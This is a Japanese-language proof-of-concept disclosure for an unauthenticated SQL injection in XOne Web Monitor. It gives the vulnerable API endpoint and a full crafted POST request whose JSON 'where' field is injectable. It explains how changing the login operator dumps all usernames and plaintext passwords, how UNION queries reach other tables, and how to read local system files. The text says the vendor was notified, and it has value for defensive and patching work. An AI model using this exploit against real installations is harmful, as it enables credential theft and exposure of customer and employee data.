
XOne Web Monitor における未認証SQLインジェクション脆弱性の概念実証コード。細工されたPOSTリクエストにより、認証情報のダンプとデータ抽出が可能になります。
著者: Javier Carabantes
影響を受けるソフトウェア: XOne Web Monitor
ソフトウェア: https://xone.es/
影響を受けるバージョン: 02.10.2024.530 framework 1.0.4.9
XOne Web Monitor バージョン 02.10.2024.530 framework 1.0.4.9 のログイン機能において、認証不要のSQLインジェクションの脆弱性が発見されました。この欠陥により、攻撃者は認証プロセス中に入力値の不適切な処理を悪用し、保存されているすべてのユーザー名とパスワードを抽出することができます。具体的には、ログインエンドポイントの設計上の問題により、攻撃者は脆弱な入力パラメータを通じて WHERE 句を操作できます。
/webcore/api/itf/DoAction
以下は、脆弱なバージョンに対して細工された POST リクエストを使用して脆弱性を悪用する方法を示しています。

無効なログイン(例: "test:test")が提供されると、以下のリクエストが送信されます。
POST /webcore/api/itf/DoAction HTTP/1.1
Host: redacted:44330
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://redacted:44330/
Content-Type: application/json
Authorization: Bearer redacted
Content-Length: 124
Origin: http://redacted:44330
Connection: keep-alive
{"action":"select","count":false,"page":{},"coll":"Usuarios","macros":{},"where":"(LOGIN='test')","sort":"","loadall":false}
パスワードが送信されておらず、ユーザー名がwhereプロパティにラップされていることに注目してください。 LOGINフィールドの演算子を変更すると、全ユーザーとパスワードの一覧が平文で取得できます。

このレスポンスには、データベースに保存されているすべてのユーザー名と対応するパスワードの一覧が含まれています。 どのユーザーでも機密データ(顧客情報、従業員の役職など)にアクセスして取得することができます。

このSQLインジェクションの脆弱性は、MSSQLでのUNIONクエリの使用もサポートしており、攻撃者はデータベース内の他のテーブルからデータを列挙・取得することができます。

攻撃者が絶対パスを知っている場合、同一のインジェクションによりLFD(ローカルファイル開示)が可能です。例として、特権ファイルである C:/windows/system32/grouppolicy/machine/registry.pol の読み取りを示します。

この脆弱性は 2024年11月11日 の週にベンダーに通知されました。
PoCに示されたWebページは非公開になっています。